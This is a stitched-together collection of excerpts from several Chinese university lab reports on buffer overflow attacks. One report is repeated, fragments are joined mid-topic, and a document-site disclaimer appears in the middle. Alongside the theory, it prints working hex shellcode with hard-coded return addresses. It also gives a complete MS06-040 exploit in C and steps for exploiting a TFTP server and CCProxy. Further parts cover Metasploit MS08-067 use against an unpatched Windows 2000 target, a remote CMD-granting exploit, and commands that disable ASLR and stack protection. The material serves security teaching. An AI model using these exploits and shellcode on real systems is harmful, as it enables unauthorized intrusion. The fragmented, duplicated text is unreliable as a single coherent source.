缓冲区溢出实验报告
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络（2）班——V200748045黄香娥1·缓冲区溢出的概念：缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害：在当前网络与分布式系统安全中，被广泛利用的50%以上都是缓冲区溢出，其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中，最为危险的是堆栈溢出，因为入侵者可以利用堆栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的危害一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，比如得到shell，然后为所欲为。
3·缓冲区溢出原理：由一个小程序来看：//test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式，如下:按F11跟踪进入overflow，让程序停在6，现在再看一下几个主要参数：esp=0x0012ff30，eip发生了变化，其它未变。
缓冲区溢出攻击实验报告_林凯杰_30601340
缓冲区溢出攻击实验【实验要求】1）基本要求：编写一个能实现缓冲区溢出（整数溢出或堆栈溢出）的程序。
语言不限（c，c++，c#，java等均可），环境也不限（linux或windows等）。
并在调试状态下（如linux的gdb或其他集成开发环境的调试命令）查看寄存器和相应存储单元内容的变化情况。
分析并解释缓冲区溢出的原因。
提交：分析文档（要给出调试过程和运行过程中的一些必要的截图），源代码等。
2）提高要求：在上述溢出的情况下，改写ret地址，增加shellcode代码，实现本地或远程管理员权限的非授权访问。
例：一个简单的shellcode程序：/* linux下的一个程序*/＃include <stdio.h>void main() {char *name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0]，name，NULL);}也可用gdb对其反汇编（主要分析execve和exit函数调用的机器指令），获得相关的汇编代码，进一步处理为16进制机器代码，形如char shellcode[]="\xeb\xlf.......\bin\sh";然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用strcpy等脆弱性函数在执行时没有检查缓冲区长度的特性，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
1、局部变量与堆栈的关系在一个程序中，会声明各种变量。
静态全局变量是位于数据段并且在程序开始运行的时候被初始化，而局部变量则在堆栈中分配，只在该函数内部有效。
如果局部变量使用不当，会造成缓冲区溢出漏洞。
例如，以下程序将命令行的第1个参数拷贝到buffer局部变量中。
void main(int argc，char **argv){char buf[80];strcpy(buf，argv[1]);}在一次函数调用中，堆栈中将被依次压入：参数、返回地址。
缓冲区溢出攻击与防范实验报告
实验六报告如图2所示的Windows 2000系统（虚拟机环境下）的计算机。
显然这2台计算机处于同一个网段中，可以相互通讯，win10系统用作攻击机，下面将在此系统上运行Metasploit进行渗透测试，而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机，保持安装后的默认状态，没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前，应该对靶机进行扫描探测工作，搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console，即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描，如图3所示，获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件，还有可能直接探测出目标系统的安全漏洞，例如如图4所示，Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞，命令执行如下：nmap -script= 。
namap扫描的结果里报告发现MS08-067：DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击，然后我们在Metasloit里面找到此漏洞的攻击模块，并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞，所以在这里，我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的RPC 请求，则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码，此漏洞可用于进行蠕虫攻击，目前已经有利用该漏洞的蠕虫病毒。
实验2：缓冲区溢出
3.4.2 寻找jmp指令地址
前面说到，我们选择通过jmp esp来实现程 序跳转，也就是说，要在RET的位置放置 jmp esp指令的地址，那么，到哪里找jmp esp指令呢？ 最好是能在系统中找到现成的，而不需要 我们重新再构造 事实上，在Windows系统的许多DLL中都 能找到jmp esp这样一条指令，一个通用的 地址是0x7ffa4512
4. 实验说明——3CTftpSvc
软件名称：3CTftpSvc 影响版本：Current version：2.0.1 漏洞描述：畸形的传输模式可以导致缓冲 区溢出，覆盖EIP，可能造成拒绝服务攻击和 远程代码执行。 漏洞调试：当传输模式为mode = "netascii" + "A" * 469时覆盖EIP
因此，在网上下载的CCProxy 6.2有可能 是已修补了该漏洞的程序
4. 实验说明——War-ftp
war-ftp漏洞提示：向服务器发送超过480 字节的用户名可以触发漏洞（即使用命令 USER longString\r\n），溢出之后，ESP中 的内容包含了longString中的部分内容
3.1 介绍CCProxy
CCProxy因其设 置简单和使用方便 等特点，成为国内 最受欢迎的代理服 务器软件。 CCProxy不但支 持常见的HTTP和 SOCKS代理，而且还 支持FTP和Telnet这 类不常用的协议及 其它协议。
3.2 漏洞说明
CCProxy在代理Telnet协议时，可以接受 Ping命令
Socket编程 连接目标主机（connect） 构造溢出字符串（即构造后接shellcode的 ping命令：ping shellcode\r\n） 向目标主机发送溢出字符串（send） 关闭连接
网络安全实验报告 - 缓冲区溢出攻击
一实验名称利用跳转指令实现缓冲区溢出定位参数地址实现缓冲区溢出二实验目的1.熟练掌握缓冲区溢出原理2.利用jmp esp指令实现缓冲区溢出3.熟练掌握缓冲区溢出原理4.利用定位参数地址实现缓冲区溢出三实验步骤利用跳转指令实现缓冲区溢出1．编写前导码程序中提供了一个超长前导码，对程序进行调试来确定实际需要的前导码长度在图中可以看出，0x49484746四字节覆盖了ret返回地址2．查找jmp esp指令地址运行FindJmpesp工具，选取一个地址追加到shellcode尾（追加填加地址时注意数组高字节对应地址高位），所选jmp esp指令地址是0x77e424da跟踪调试程序，确定在memcpy执行返回时jmp esp指令是否被执行从图看出，在jmp esp指令执行完毕后，指令指针紧接着执行了3个空指令，而空指令是追加在shellcode尾部的3．生成实现弹出对话框的指令码MessageBoxA函数的绝对内存地址，该地址为0x77E10000+0x0003D8DE=0x77E4D8DE函数ExitProcess的绝对内存地址0x7C800000+0x00013039=0x7C813039利用反汇编功能获取代码字节，将代码字节以十六进制数据形式继续追加到shellcode尾。
重新编译执行。
定位参数实现缓冲区溢出1．进入工程2．生成shellcode功能体（1）首先设置OverFlowClient项目为启动项。
（2）使用Depends工具打开FindShellBase.exe文件定位上述内存地址kernel32.dll 0x7C800000LoadlibraryA 0x7C800000+0x00001E60=7C801E60SHELL32.DLL 0x7CA10000shellExecuteA 0x7CA10000+0x0008F6D4=0x7CA9F6D4（3）编译并生成OverFlowClient.exe，执行OverFlowClient.exe，确定系统是否新建了jlcss用户，并隶属Administrators组。
网络安全缓冲区溢出技术实验报告
网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理；学会使用Win32平台Shellcode技术。
2、内容及要求以windows 2000 server虚拟机为测试对象，修改server.cpp和exploit.c，利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。
二、仪器用具计算机（分别装有windows server 2000和windows 7操作系统），本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。
三、实验方法与步骤在实验开始前，首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。
在server.cpp中能够产生缓冲区溢出的程序片段如下：void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。
由于本实验是在虚拟机环境下测试的，所以在开始实验前，分别记下两个系统的IP地址：运行server程序的系统IP地址为：192.168.209.131运行exploit程序的系统IP地址为：192.168.209.1实验的过程如下：1.在windows2000系统下分别编译server.cpp和exploit.c程序，详细过程如下：C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示：图 12.在windows2000系统中运行服务程序：server.cppC:\test>server.exe截图如下图2所示：图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序，如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示：图3这样就可以获得目标主机的CMD了，接下来的任务是开启目标主机的FTP服务。
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络（2）班——V200748045黄香娥1·缓冲区溢出的概念：缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害：在当前网络与分布式系统安全中，被广泛利用的50%以上都是缓冲区溢出，其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中，最为危险的是堆栈溢出，因为入侵者可以利用堆栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的危害一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，比如得到shell，然后为所欲为。
3·缓冲区溢出原理：由一个小程序来看：//test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式，如下:按F11跟踪进入overflow，让程序停在6，现在再看一下几个主要参数：esp=0x0012ff30，eip发生了变化，其它未变。
缓冲区溢出实验
缓冲区溢出实验实验环境：实验准备：因为缓冲区溢出攻击是一个比较老的攻击方法，因此在现在的操作系统中都加入了防护机制。
在实验开始之前，为了能成功的看到结果，我们需要把这些防护机制关掉。
工程如下：第一步，关掉随机地址机制。
地址随机是一个主要防护机制，在缓冲区溢出攻击过程中需要覆盖并改写程序的返回地址。
使返回地址指向我们的代码，如果开始地址随机的话，我们就不能准确的计算出我们的代码的位置。
所以，我们使用以下命令（在root权限下），关掉该防护机制。
#sysctl -w kernel.randomize_va_space=0第二步，在编译的时候，要关掉栈区保护，并且允许栈区可执行。
这样，我们利用缓冲区溢出注入的代码才可以在栈里面执行。
$ gcc -fno-stack-protector example.c$ gcc -z execstack -o test test.c实验过程：首先分析被攻击的程序#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}main()函数读入一个文件，并调用bof()，进行拷贝。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员：教师评语：一.实验环境⏹操作系统：Windows XP SP3⏹编译平台：Visual C++ 6.0⏹调试环境：OllyDbg二.实验目的1.掌握缓冲区溢出的原理；2.掌握缓冲区溢出漏洞的利用技巧；3.理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法⏹缓冲区溢出模拟程序程序源代码如下：运行该程序产生访问异常：由于拷贝字符串时产生缓冲区溢出，用“ABCD”字符串的值覆盖了原来EIP的值，所以main函数返回时EIP指向44434241，引发访问异常。
运行命令窗口的shellcodeshellcode测试代码如下：#include "string.h"#include "stdio.h"#include<windows.h>char name[]="\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41" ///覆盖ebp"\x12\x45\xfa\x7f" ////覆盖eip，jmp esp地址7ffa4512"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d""\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63""\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e""\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c""\x8d\x45\xf4\x50\xb8""\x77\x1d\x80\x7c" // LoadLibraryW的地址"\xff\xd0""\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73""\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72""\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63""\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57""\xba""\xc7\x93\xbf\x77" // System 的地址"\xff\xd2";int main(){char output[8];strcpy(output, name);for(int i=0;i<8&&output[i];i++){printf("\\0x%x",output[i]);}printf("\n");return 0;}shellcode测试代码运行效果如下：由于把main函数的返回EIP地址替换成了jmp esp的地址，main 函数返回的时候就会执行我们的shellcode代码。
该shellcode，运行命令窗口。
2.MS06-040 缓冲区溢出漏洞分析和利用 溢出点定位溢出点定位源代码程序运行效果如下：可以看到错误访问地址为63636363，即为‘c’的编码，所以成功得定位了溢出点。
漏洞利用漏洞利用的源代码如下：#include <windows.h>typedef void (*MYPROC)(LPTSTR);char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8";int main(){char arg_1[0x320];char arg_2[0x440];int arg_3=0x440;char arg_4[0x100];long arg_5=44;HINSTANCE LibHandle;MYPROC Trigger;char dll[] = "./netapi32.dll";char VulFunc[] = "NetpwPathCanonicalize";LibHandle = LoadLibrary(dll);Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);memset(arg_1,0,sizeof(arg_1));memset(arg_1,0x90,sizeof(arg_1)-2);memset(arg_4,0,sizeof(arg_4));memset(arg_4,'a',sizeof(arg_4)-2);memcpy(arg_4,shellcode,168);arg_1[0x318]=0xF9;// CALL ECX 的地址arg_1[0x319]=0x52;arg_1[0x31A]=0x18;arg_1[0x31B]=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);}漏洞利用的效果如下：可以看到成功的利用该漏洞，弹出了一个对话框。
3.TFTPD溢出漏洞分析与利用溢出点定位1.构造FUZZtftp 127.0.0.1 get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAFUZZ中包含288个A，这个值是通过多次测试获得的，运行效果如下，可以看到发生了溢出：2.确定溢出点采用284个’A’+’1234’的fuzz，运行效果如下：可以看到程序转到了34333231，溢出点定位成功。
3.程序中溢出点定位使用OllyDbg打开程序，首先找到recvfrom函数，方法是右键点击Search for选项，找到Name in current module，在其中找到recvfrom，如下所示：从这里找到recvfrom函数的位置，在此设置断点：然后启动tftp，重新运行fuzz，程序会进入到断点，跟踪程序的运行过程，发现程序运行到一个strcpy函数时造成溢出，如下图所示：运行004063A4函数之后，栈的状态如下，可以看到EIP被我们的数据覆盖：运行到下面的代码处，程序跳转到34333231处，至此溢出点定位完毕。
溢出漏洞利用分析首先肯定是想到利用JMP ESP，但是发现EIP后面是两个函数参数，如果覆盖该参数，将在函数返回之前触发异常，无法进入到我们的shellcode。
从上图也可以看出，EIP后面的第二个参数恰好指向我们构造的字符串，那么如果我们能够把00E81F62送入EIP，可以发现函数返回之前的ESP指向010BF3C8，如果能够把ESP减去4，然后运行RET指令，就可以把00E81F62送入EIP，ESP-8相当于一次POP操作，这样如果我们把EIP指向有：POP XRET代码串的指令地址，即可使得shellcode被执行，在系统DLL中搜索该指令串，发现在7FFC01B0处有该指令代码：这样就可以构造如下的shellcode:"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" // 12"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" // 24"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" // 36"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" // 48"\x8d\x45\xf4\x50\xb8" // 53"\x77\x1d\x80\x7c" // LoadLibraryW的地址// 57"\xff\xd0" // 59"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" // 71"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" // 83"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63" // 95该shellcode为弹出一个命令窗口的shellcode，EIP指向7FFC01B0，按照上面的分析，程序将运行shellcode。